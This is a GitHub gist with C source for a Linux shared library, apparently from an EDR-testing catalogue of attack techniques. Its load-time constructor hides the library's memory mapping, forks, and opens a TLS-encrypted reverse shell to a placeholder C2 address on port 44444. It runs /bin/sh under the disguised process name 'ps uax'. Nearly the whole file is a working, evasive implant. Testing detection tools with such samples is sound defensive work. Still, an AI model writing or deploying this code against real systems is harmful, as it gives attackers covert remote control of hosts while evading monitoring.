Created
September 29, 2025 14:13
-
-
Save cr0nx/d444e94fd01db526a8be6ef3e4ff1e7d to your computer and use it in GitHub Desktop.
EDR-T6370-combo-ssl-revshell-callback.c - https://www.defensive-security.com/edrmetry/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Check out https://edu.defensive-security.com/edrmetry-linux-matrix-for-download-advanced-hands-on-attack-ttps-catalog | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <sys/socket.h> | |
| #include <arpa/inet.h> | |
| #include <netinet/in.h> | |
| #include <err.h> | |
| #include <openssl/ssl.h> | |
| #include <openssl/err.h> | |
| #include "sneaky_remap.h" | |
| // Function to initialize the reverse shell with TLS | |
| void init_reverse_shell(const char *host, int port) { | |
| int sockfd; | |
| struct sockaddr_in server_addr; | |
| SSL_CTX *ctx = NULL; | |
| SSL *ssl = NULL; | |
| // Initialize OpenSSL | |
| SSL_load_error_strings(); | |
| OpenSSL_add_ssl_algorithms(); | |
| // Create SSL context | |
| ctx = SSL_CTX_new(TLS_client_method()); | |
| if (!ctx) { | |
| warnx("SSL_CTX_new failed"); | |
| return; | |
| } | |
| // Disable certificate verification (for simplicity; not secure for production) | |
| SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL); | |
| // Create socket | |
| sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
| if (sockfd < 0) { | |
| warn("socket creation failed"); | |
| goto cleanup; | |
| } | |
| // Set up server address structure | |
| memset(&server_addr, 0, sizeof(server_addr)); | |
| server_addr.sin_family = AF_INET; | |
| server_addr.sin_port = htons(port); | |
| if (inet_pton(AF_INET, host, &server_addr.sin_addr) <= 0) { | |
| warn("invalid address: %s", host); | |
| goto cleanup; | |
| } | |
| // Connect to remote host | |
| if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { | |
| warn("connect failed"); | |
| goto cleanup; | |
| } | |
| // Create SSL structure | |
| ssl = SSL_new(ctx); | |
| if (!ssl) { | |
| warnx("SSL_new failed"); | |
| goto cleanup; | |
| } | |
| // Bind SSL to socket | |
| if (SSL_set_fd(ssl, sockfd) != 1) { | |
| warnx("SSL_set_fd failed"); | |
| goto cleanup; | |
| } | |
| // Perform TLS handshake | |
| if (SSL_connect(ssl) != 1) { | |
| warnx("SSL_connect failed"); | |
| goto cleanup; | |
| } | |
| // Redirect stdin, stdout, stderr to SSL connection | |
| // Note: We can't use dup2 directly with SSL, so we handle I/O via SSL_read/SSL_write | |
| // Fork a child to handle shell execution | |
| pid_t pid = fork(); | |
| if (pid == 0) { | |
| // Child process: execute shell | |
| char buf[1024]; | |
| int n; | |
| // Redirect shell I/O through SSL | |
| int stdin_pipe[2], stdout_pipe[2]; | |
| if (pipe(stdin_pipe) < 0 || pipe(stdout_pipe) < 0) { | |
| warn("pipe creation failed"); | |
| goto cleanup; | |
| } | |
| pid_t shell_pid = fork(); | |
| if (shell_pid == 0) { | |
| // Grandchild: execute shell | |
| close(stdin_pipe[1]); | |
| close(stdout_pipe[0]); | |
| dup2(stdin_pipe[0], 0); // stdin from pipe | |
| dup2(stdout_pipe[1], 1); // stdout to pipe | |
| dup2(stdout_pipe[1], 2); // stderr to pipe | |
| close(stdin_pipe[0]); | |
| close(stdout_pipe[1]); | |
| char *fake_argv[] = { "ps uax", NULL }; | |
| char *envp[] = { NULL }; | |
| execve("/bin/sh", fake_argv, envp); | |
| warn("execve failed"); | |
| exit(1); | |
| } | |
| // Child: handle I/O between SSL and shell | |
| close(stdin_pipe[0]); | |
| close(stdout_pipe[1]); | |
| while (1) { | |
| // Read from SSL, write to shell | |
| n = SSL_read(ssl, buf, sizeof(buf)); | |
| if (n <= 0) break; | |
| write(stdin_pipe[1], buf, n); | |
| // Read from shell, write to SSL | |
| n = read(stdout_pipe[0], buf, sizeof(buf)); | |
| if (n <= 0) break; | |
| SSL_write(ssl, buf, n); | |
| } | |
| // Cleanup child | |
| close(stdin_pipe[1]); | |
| close(stdout_pipe[0]); | |
| exit(0); | |
| } | |
| cleanup: | |
| if (ssl) SSL_free(ssl); | |
| if (sockfd >= 0) close(sockfd); | |
| if (ctx) SSL_CTX_free(ctx); | |
| } | |
| // Library initialization function | |
| __attribute__((constructor)) | |
| void ctor(void) { | |
| int ret; | |
| // Run sneaky_remap_start | |
| switch (ret = sneaky_remap_start(NULL, NULL, 0)) { | |
| case SREM_RET_OK: /* Good. */ | |
| break; | |
| case SREM_RET_ERRNO: /* Not our fault, at least? */ | |
| warn("sneaky_remap_start"); | |
| return; // Exit early on error | |
| default: | |
| warnx("sneaky_remap error %d", ret); | |
| return; // Exit early on error | |
| } | |
| // Fork to run reverse shell in background | |
| pid_t pid = fork(); | |
| if (pid == 0) { | |
| // Child process: start reverse shell | |
| const char *host = "KALI_X_or_C2_X_IP"; | |
| int port = 44444; | |
| init_reverse_shell(host, port); | |
| exit(0); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment